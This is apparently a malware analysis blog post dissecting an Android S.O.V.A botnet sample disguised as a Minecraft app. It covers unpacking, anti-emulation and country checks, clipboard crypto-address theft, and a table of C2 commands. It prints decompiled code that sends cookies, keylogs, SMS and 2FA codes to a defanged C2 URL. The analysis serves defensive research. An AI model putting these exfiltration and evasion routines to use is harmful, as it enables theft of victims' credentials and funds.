

# Eyes on Android/S.O.V.A botnet sample

 [cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08](https://cryptax.medium.com/eyes-on-android-s-o-v-a-botnet-sample-fb5ed332d08)

@cryptax

July 7, 2023

Command	API	Method	Params	Comments
first_launch	api	bots.new	botid, botip, sdkVersion, deviceModel, typeConnection, battery, version, packet	Sent on first launch of the malware
send_notification_text	api	push.new	botid, packet, text	packet is the package name of the malware
send_cookie	testpost.php		botid, inputLog, cookie	
action_is_device_rooted	api	bots.root	botid, root	Reports if the device is rooted or not
sms	api	sms.new	botid, access, number, text	Leaks incoming SMS
ping	api	bots.update	botid, screen	Regularly sent to C2
send_logs	logpost.php	-	botid, text	Sends logs
grant_permissions	api	bots.update	botid, perms, value=1	
	api	number.update	botid, phoneNumber	Also sent with grant_erpmissions request
grant_accessibility	api	bots. update	botid, param=accessibility, value=1	
delete_command	api	command.delete	botid	
action_send_2fa	api	bots.2fa	botid, codes	



@cryptax

--

## Summary

- Sample [c1642ac3f729701223043b16ac2c6c5f64adc7080f474c181067b0f1335218f2](#)
- Poses as a Minecraft app
- Malicious Android/S.O.V.A botnet client
- Packed
- Implemented in Kotlin
- Uses Retrofit2 for communication with C2
- The C2 is down currently

An excellent analysis [here](#).

I try to highlight different aspects:

1. How to unpack with Medusa
2. How the malware sets up on first launch
3. How to reverse Retrofit2 communications
4. Support for encrypted logs

## Unpacking with Medusa

---

This sample is **packed**, and can be unpacked with [Medusa](#), using `memory_dump/dump_dex`.

Medusa is capturing the payload DEX in `classes2.dex`

The main activity is `com.nslah.ieg.tzzi.hkb.ui.LauncherActivity`.

## Startup Flow: from main entry point to malicious work

---

The entire startup mechanism begins from `checkCountry`. It ensures the malware does not run on phones of CIS by checking country + presence of 2 common apps in those countries: Sberbank Mobile and Tinkoff. [See explanation here](#). However, the check for the 2 apps does far more than just what it names says. Notice the call to `startApp()`.

```

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    this.checkCountry();
}
...
private static final void checkCountry$checkForSngPackages(LauncherActivity this$0) {
    Timber.d("Checking installed packages", new Object[0]);
    List list0 = AppExtensionsKt.loadInstalledApps(this$0);
    if(!list0.contains("ru.sberbankmobile") &&
!list0.contains("com.idamob.tinkoff.android")) {
        this$0.startApp();
        return;
    }

    this$0.finish();
}
...
private final void startApp() {
    if(this.checkEmulator()) {
        this.finish();
    }

    Timber.d("startApp()", new Object[0]);
    this.prefsUtil.saveAccessibilityRequestTime(System.currentTimeMillis() +
this.prefsUtil.getAccessibilityRequestTimeDEFAULT());
    this.prefsUtil.savePermissionsRequestTime(System.currentTimeMillis() +
this.prefsUtil.getPermissionsRequestTimeDEFAULT());
    if(this.prefsUtil.isFirstLaunch()) {
        this.prefsUtil.initHideSms();
        ServiceExtensionsKt.startRequestService$default(this, "first_launch",
null, 2, null);
        ServiceExtensionsKt.startGrantAccessibilityActivity(this);
    }

    ServiceExtensionsKt.startGlobalManagingService(this);
ServiceExtensionsKt.startCBSERVICE(this);          this.startService(new Intent(this,
MiHoldService.class));
if(SystemAccessExtensionsKt.isAccessibilityEnabled(this)) {                this.finish();
}    }
}

```

The first thing `startApp` is **anti-emulation** (call to `isEmulator`). It checks for the presence of generic names in product brand, fingerprint etc. This can be bypassed by Medusa's `device_cloaking` helper script.

```

public static final boolean isEmulator() {          String s = Build.BRAND;
Intrinsics.checkNotNullExpressionValue(s, "BRAND");
if(StringsKt.startsWith$default(s, "generic", false, 2, null)) {          String s1
= Build.DEVICE;          Intrinsics.checkNotNullExpressionValue(s1, "DEVICE");
if(StringsKt.startsWith$default(s1, "generic", false, 2, null)) {
return true;          }...

```

On first launch, the malware:

- Says hello to the C2 `hxxp://re184edek1nsl1loaj1fhdskl13asdrf.xyz/api?method=bots.new&botid=BOTID&botip=IPADDRESS&sdkVersion=SDKVERSION` etc
- Asks the end-user to provide accessibility rights.

Then, 2 services are started: `GlobalManagingService` and `CBWatcherService`.

`CBWatcherService` **grabs cryptocurrency addresses from the clipboard** for currencies like Bitcoin, Ethereum, Binance coin, Tron. [See here for details](#).

`GlobalManagingService` does quite a couple of things:

```
this.registerScreenReceiver();this.registerPhoneUnlockReceiver();this.startCounterCoro
```

register a receiver that monitors when the screen is on or off, and prevents phone from being locked when the screen is off

```

public void onReceive(Context context, Intent intent) {
    String s = intent == null ? null : intent.getAction();
    if(Intrinsics.areEqual(s, "android.intent.action.SCREEN_ON")) {
        GlobalManagingService.this.setScreenOn(true);
        return;
    }

    if(Intrinsics.areEqual(s, "android.intent.action.SCREEN_OFF")) {
GlobalManagingService.this.setScreenOn(false);
GlobalManagingService.this.setPhoneLocked(true);    }    }

```

register a receiver that prevents the smartphone from being locked

```

public void onReceive(Context context, Intent intent) {
GlobalManagingService.this.setPhoneLocked(false);    }

```

- counter coroutine: tell the C2 if the smartphone is rooted or not, open the SMS application, hide the malware from the list of apps, request accessibility settings if needed + create a notification asking end-user to add accessibility
- ping coroutine: ping the C2

## How to find the malicious C2 URL and REST API in Retrofit2 blurb

---

The malware uses the **Retrofit2** library. This is a common, genuine (non-malicious) library to handle REST API in Android applications.

The URL of the C2 is found in the malware's

`com.nslah.ieg.tzzi.hkb.data.network.RetrofitClient`.

```
RetrofitClient.serverApi =  
(ServerApi)retrofit$Builder0.baseUrl("http://re184edek1ns1loaj1fhdskl113asdrf.xyz/").ad
```

The REST API is implemented in `com.nslah.ieg.tzzi.hkb.data.network.ServerApi`:

```

public interface ServerApi{
    ...
    @FormUrlEncoded
    @POST("/logpost.php")
    Object log(@Field("botid") String arg1, @Field("text") String arg2, Continuation
arg3);

    @GET("/api")
    Object send2FA(@Query("method") String arg1, @Query("botid") String arg2,
@Query("codes") String arg3, Continuation arg4);

    @FormUrlEncoded
    @POST("/testpost.php")
    Call sendCookie(@Field("botid") String arg1, @Field("inputLog") String arg2,
@Field("cookie") String arg3);

    @GET("/api")
    Object sendFirst(@Query("method") String arg1, @QueryMap Map arg2, Continuation
arg3);

    @FormUrlEncoded
    @POST("/keylog.php")
    Call sendKeyLog(@Field("botid") String arg1, @Field("inputLog") String arg2);

    @GET("/api")
    Object sendPing(@Query("method") String arg1, @QueryMap Map arg2, Continuation
arg3);

    @GET("/api")
    Object sendRequests(@Query("method") String arg1, @QueryMap Map arg2,
Continuation arg3);

    @GET("/api") Object sendRoot(@Query("method") String arg1, @Query("botid")
String arg2, @Query("root") String arg3, Continuation arg4);}

```

- The base URL is returned by a method such as `getServerApi()`. Actually, there are several different APIs: a DDoS API, a Country Check API etc but they are not implemented yet (point to
- The entry point is referenced by the decorator e.g. `@GET("/api")` means the malware will go to `BASE_URL/api`.

- The fields are referenced by `@Query` for an optional field or `@Field` when mandatory. e.g. to send a ping to C2, the URL will be `BASE_URL/api/?method=xxx...`

The communication with the C2 is handled by a service named `RequestService`. For example, the code below handles requests sent at first launch of the malware.

```
if(s.equals("first_launch")) {          this.logger.log("Event first launch.
Version: 4");          Function1 function10 = new RequestService.onStartCommand.1(this,
startId);          this.retrofitUtil.sendFirstLaunch(function10);          return 3;    }
```

A few sample URLs are listed in the Relations Tab of VirusTotal.

SOVA requests

## Timber logs with encryption support

---

Logs are handled by `Timber`, which is a legitimate and common Android logger. The following logs the smartphone's country.

```
Timber.d(Encrypt.TDE(("IP country code: " + s)), new Object[0]);
```

Log encryption is supported. In that case, the input is a Base64 string. The code decodes the Base64 string and is expected to find something like `RC4_KEY:::CIPHERTEXT`. The RC4 key is extracted from the 8 first bytes and used to decrypt the ciphertext.

```
byte[] arr_b = Base64.decode(txt, 0);
if(arr_b.length > 11) {
    if(!new String(new byte[]{arr_b[8], arr_b[9], arr_b[10]},
StandardCharsets.UTF_8).equals(":::")) {
        return txt;
    }

    SecretKeySpec key = new SecretKeySpec(arr_b, 0, 8, "RC4");    Cipher cipher0 =
Cipher.getInstance("RC4");    cipher0.init(2, key);    return new
String(cipher0.doFinal(arr_b, 11, arr_b.length - 11));}
```

— Cryptax